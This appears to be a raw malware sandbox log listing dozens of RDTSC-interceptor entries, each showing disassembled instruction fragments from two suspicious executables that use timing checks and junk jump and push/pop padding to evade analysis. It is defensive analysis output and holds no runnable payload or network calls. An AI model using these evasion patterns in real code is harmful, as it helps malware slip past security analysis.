Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ED13CC second address: ED13FF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F1C24BF8404h 0x0000000c pop ecx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007F1C24BF8401h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ED16A9 second address: ED16AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ED16AF second address: ED16C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnp 00007F1C24BF83F6h 0x0000000c push edx 0x0000000d pop edx 0x0000000e jc 00007F1C24BF83F6h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ED1832 second address: ED1846 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1C24FCCA86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F1C24FCCA86h 0x00000014 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ED208B second address: ED20A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF83FBh 0x00000007 jmp 00007F1C24BF83FDh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ED20A7 second address: ED20DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA95h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b jmp 00007F1C24FCCA8Dh 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jng 00007F1C24FCCA86h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ED20DA second address: ED20DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ED519D second address: ED51CB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1C24FCCA86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d push esi 0x0000000e pop esi 0x0000000f jnc 00007F1C24FCCA86h 0x00000015 popad 0x00000016 je 00007F1C24FCCA9Eh 0x0000001c jmp 00007F1C24FCCA8Eh 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ED4A61 second address: ED4A75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF83FFh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ED4D45 second address: ED4D49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ED4D49 second address: ED4D7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F1C24BF8402h 0x0000000e push ecx 0x0000000f je 00007F1C24BF83F6h 0x00000015 pop ecx 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F1C24BF83FAh 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ED4D7E second address: ED4D88 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1C24FCCA86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EDAFE7 second address: EDAFEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EDAFEC second address: EDAFF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EDAFF4 second address: EDAFF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EDAFF8 second address: EDB015 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA99h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EDA68C second address: EDA6AF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1C24BF8409h 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EDA6AF second address: EDA6B7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EDEFAB second address: EDEFC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF8401h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EDEFC0 second address: EDEFC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EDEFC6 second address: EDEFCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EDF2CF second address: EDF2E1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1C24FCCA86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F1C24FCCA86h 0x00000012 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EDF2E1 second address: EDF2F5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F1C24BF8402h 0x0000000c jc 00007F1C24BF83F6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EDF2F5 second address: EDF31C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jo 00007F1C24FCCA86h 0x0000000b ja 00007F1C24FCCA86h 0x00000011 pop ebx 0x00000012 popad 0x00000013 pushad 0x00000014 jmp 00007F1C24FCCA90h 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EDF31C second address: EDF322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EDF322 second address: EDF328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EDF328 second address: EDF35D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1C24BF8408h 0x00000009 popad 0x0000000a pushad 0x0000000b jnl 00007F1C24BF83F6h 0x00000011 jmp 00007F1C24BF83FFh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EDF4CB second address: EDF4E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA91h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EDF7D6 second address: EDF7DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EE45DD second address: EE463C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jp 00007F1C24FCCA99h 0x0000000e jg 00007F1C24FCCA86h 0x00000014 jmp 00007F1C24FCCA8Dh 0x00000019 jnp 00007F1C24FCCA8Ch 0x0000001f pushad 0x00000020 jmp 00007F1C24FCCA95h 0x00000025 jmp 00007F1C24FCCA98h 0x0000002a pushad 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EE9FD1 second address: EE9FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EEA2F9 second address: EEA2FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EEA906 second address: EEA90A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EEABC5 second address: EEABC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EEABC9 second address: EEABD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EEABD2 second address: EEABEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1C24FCCA8Bh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EEAF10 second address: EEAF15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EEAF15 second address: EEAF59 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1C24FCCA9Bh 0x00000008 jmp 00007F1C24FCCA95h 0x0000000d push edi 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop edi 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 jbe 00007F1C24FCCA86h 0x0000001d popad 0x0000001e jmp 00007F1C24FCCA92h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EEAF59 second address: EEAF5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100DCAD second address: 100DCC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100DCC2 second address: 100DCC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100DCC9 second address: 100DCD9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jbe 00007F1C24FCCA86h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100DCD9 second address: 100DCE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F1C24BF83F6h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100CE49 second address: 100CE4F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100D3D3 second address: 100D3DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F1C24BF83F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100D3DD second address: 100D3ED instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jg 00007F1C24FCCA86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100D3ED second address: 100D3F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F1C24BF83F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100D581 second address: 100D59D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1C24FCCA97h 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100FACC second address: 100FAE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 je 00007F1C24BF83F8h 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e mov eax, dword ptr [eax] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100FAE2 second address: 100FAE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100FAE6 second address: 100FAEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100FAEC second address: 100FB19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e jo 00007F1C24FCCA93h 0x00000014 jmp 00007F1C24FCCA8Dh 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100FB19 second address: 100FB1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100FB1D second address: 100FB21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100FB90 second address: 100FB94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100FB94 second address: 100FC0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 2C4B58B7h 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F1C24FCCA88h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 jmp 00007F1C24FCCA8Ch 0x0000002d push 00000003h 0x0000002f push 00000000h 0x00000031 jmp 00007F1C24FCCA99h 0x00000036 push 00000003h 0x00000038 mov edx, dword ptr [ebp+13712A6Dh] 0x0000003e push 954AD751h 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F1C24FCCA95h 0x0000004a rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100FC0B second address: 100FC11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100FD10 second address: 100FD14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100FDD0 second address: 100FDD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100FED6 second address: 100FEEB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F1C24FCCA86h 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100FEEB second address: 100FEF1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100FEF1 second address: 100FEF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100FEF7 second address: 100FEFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100FEFB second address: 100FF70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b push edi 0x0000000c jns 00007F1C24FCCA86h 0x00000012 pop edi 0x00000013 jo 00007F1C24FCCA8Ch 0x00000019 jnl 00007F1C24FCCA86h 0x0000001f popad 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 jmp 00007F1C24FCCA96h 0x00000029 pop eax 0x0000002a push edx 0x0000002b pop edi 0x0000002c lea ebx, dword ptr [ebp+138949C7h] 0x00000032 mov dword ptr [ebp+1371397Bh], ebx 0x00000038 xchg eax, ebx 0x00000039 push edi 0x0000003a jmp 00007F1C24FCCA91h 0x0000003f pop edi 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F1C24FCCA95h 0x00000048 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 100FF70 second address: 100FF7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F1C24BF83F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: FFE650 second address: FFE669 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA8Bh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: FFE669 second address: FFE69D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jp 00007F1C24BF83F6h 0x0000000c jmp 00007F1C24BF8401h 0x00000011 jns 00007F1C24BF83F6h 0x00000017 jmp 00007F1C24BF8400h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: FFE69D second address: FFE6A2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 102EFD5 second address: 102EFE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1C24BF83F6h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 102F12F second address: 102F149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1C24FCCA8Dh 0x00000009 push edi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop edi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 102F149 second address: 102F155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F1C24BF83F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 102F155 second address: 102F16A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1C24FCCA8Ah 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 102F16A second address: 102F175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 102F175 second address: 102F179 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 102F179 second address: 102F181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 102F181 second address: 102F188 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 102F2CF second address: 102F2DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1C24BF83F6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 102F2DE second address: 102F2E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 102F2E2 second address: 102F2F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007F1C24BF83FAh 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EEB5CE second address: EEB5DE instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1C24FCCA86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EEB5DE second address: EEB5E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EEBC3A second address: EEBC40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EED499 second address: EED49D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EED49D second address: EED4A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EED4A3 second address: EED4C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F1C24BF8401h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EED4C3 second address: EED4C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EED4C8 second address: EED4CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
